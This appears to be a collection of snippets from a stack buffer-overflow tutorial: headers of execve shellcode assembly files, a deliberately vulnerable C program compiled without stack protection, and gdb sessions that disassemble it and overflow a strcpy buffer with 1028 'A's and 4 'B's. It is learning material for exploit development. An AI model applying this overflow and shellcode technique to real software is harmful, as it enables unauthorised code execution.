fgsahoward

##
#  shell1_64.s - Executes a shell by calling execve
#  Compile and Link:
#        gcc -c shell1_64.s
#        ld -o shell1_64 shell1_64.o

# Starts the data section, this is where the program stores initialized
# variables, and it is in a separate memory space than the .text section
.data

fgsahoward

##
#  shell1_32.s - Executes a shell by calling execve
#  Compile and Link:
#        gcc -m32 -c shell1_32.s
#        ld -o shell1_32 -melf_i386 shell1_32.o

# Starts the data section, this is where the program stores initialized
# variables, and it is in a separate memory space than the .text section
.data

fgsahoward

(gdb) r `perl -e 'print "A"x1028, "B"x4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/easy/easy `perl -e 'print "A"x1028, "B"x4'`
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

fgsahoward

0x0804840d <vulnerable+9>:  mov    0x8(%ebp),%eax
0x08048410 <vulnerable+12>: mov    %eax,0x4(%esp)
0x08048414 <vulnerable+16>: lea    -0x400(%ebp),%eax
0x0804841a <vulnerable+22>: mov    %eax,(%esp)

fgsahoward

(gdb) x/xw $esp
0xbfffd8bc: 0x08048475
(gdb) si
0x08048405 in vulnerable ()
(gdb) 
0x08048407 in vulnerable ()
(gdb) i r
eax            0xbfffda82   -1073751422
ecx            0xbfffd8f0   -1073751824
edx            0xbfffd8f0   -1073751824

fgsahoward

(gdb) info reg
eax            0xbfffda82   -1073751422
ecx            0xbfffd8f0   -1073751824
edx            0xbfffd8f0   -1073751824
ebx            0x26eff4 2551796
esp            0xbfffd8c0   0xbfffd8c0
ebp            0xbfffd8d8   0xbfffd8d8
esi            0x8048490    134513808
edi            0x8048350    134513488
eip            0x8048470    0x8048470 <main+54>

fgsahoward

(gdb) b *main+54
Breakpoint 1 at 0x8048470
(gdb) run hello
Starting program: /tmp/easy/easy hello

Breakpoint 1, 0x08048470 in main ()
Current language:  auto; currently asm

fgsahoward

(gdb) disas vulnerable
Dump of assembler code for function vulnerable:
0x08048404 <vulnerable+0>:  push   %ebp
0x08048405 <vulnerable+1>:  mov    %esp,%ebp
0x08048407 <vulnerable+3>:  sub    $0x408,%esp
0x0804840d <vulnerable+9>:  mov    0x8(%ebp),%eax
0x08048410 <vulnerable+12>: mov    %eax,0x4(%esp)
0x08048414 <vulnerable+16>: lea    -0x400(%ebp),%eax
0x0804841a <vulnerable+22>: mov    %eax,(%esp)
0x0804841d <vulnerable+25>: call   0x8048320 <strcpy@plt>

fgsahoward

$ gdb -q ./easy
(gdb) disas main
Dump of assembler code for function main:
0x0804843a <main+0>:    lea    0x4(%esp),%ecx
0x0804843e <main+4>:    and    $0xfffffff0,%esp
0x08048441 <main+7>:    pushl  -0x4(%ecx)
0x08048444 <main+10>:   push   %ebp
0x08048445 <main+11>:   mov    %esp,%ebp
0x08048447 <main+13>:   push   %ecx
0x08048448 <main+14>:   sub    $0x14,%esp

fgsahoward

/** Easily exploitable Buffer Overflow for learning purposes
 *
 * Compilation:
 *  gcc -fno-stack-protector -z execstack -m32 -o easy easy.c
**/

#include <string.h>
#include <stdio.h>
#include <stdlib.h>